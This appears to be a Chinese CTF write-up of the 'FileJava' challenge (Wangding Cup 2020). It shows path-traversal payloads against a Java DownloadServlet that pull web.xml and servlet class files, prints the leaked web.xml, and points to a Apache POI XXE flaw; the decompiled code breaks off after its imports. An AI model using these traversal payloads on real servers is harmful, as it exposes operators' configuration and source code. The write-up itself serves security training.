CTF题目《FileJava》(网鼎杯 2020 青龙组)Write-Up

一、题目背景与功能分析

题目为一个基于Java Web的文件上传/下载系统,用户可上传文件并通过返回的下载链接获取文件。初步测试发现,下载接口存在任意文件下载漏洞,可读取服务器敏感配置文件(如WEB-INF/web.xml)。


二、漏洞挖掘与利用流程

1. 任意文件下载漏洞利用
  • 正常上传文件
    观察到源代码

      <a href="./DownloadServlet?filename=b1f12e34-e48d-41ee-b533-3e8ddba50942_Snipaste_2025-02-26_17-27-53.png">Snipaste_2025-02-26_17-27-53.png</a>
    
  • 发现路径穿越
    通过修改DownloadServletfilename参数,尝试跳出当前目录。例如,构造filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,成功下载Web应用的配置文件。

      <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
      
      <servlet>
      <servlet-name>DownloadServlet</servlet-name>
      <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
      </servlet>
      
      <servlet-mapping>
      <servlet-name>DownloadServlet</servlet-name>
      <url-pattern>/DownloadServlet</url-pattern>
      </servlet-mapping>
      
      <servlet>
      <servlet-name>ListFileServlet</servlet-name>
      <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
      </servlet>
      
      <servlet-mapping>
      <servlet-name>ListFileServlet</servlet-name>
      <url-pattern>/ListFileServlet</url-pattern>
      </servlet-mapping>
      
      <servlet>
      <servlet-name>UploadServlet</servlet-name>
      <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
      </servlet>
      
      <servlet-mapping>
      <servlet-name>UploadServlet</servlet-name>
      <url-pattern>/UploadServlet</url-pattern>
      </servlet-mapping>
      </web-app>
    
  • 获取Servlet类路径
    web.xml中定义了Servlet映射,如DownloadServlet对应的类路径为cn.abc.servlet.DownloadServlet.class,进一步构造路径下载类文件:
    filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

2. 代码审计与漏洞定位

反编译下载的.class文件后,进行反编译,发现UploadServlet关键逻辑:

  • 文件名需以excel-开头且后缀为xlsx时,使用WorkbookFactory.create()解析Excel文件。
  • 引入的org.apache.poi库(版本3.10)存在XXE漏洞,未禁用外部实体解析。
package cn.abc.servlet;

// 导入所需的类库
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值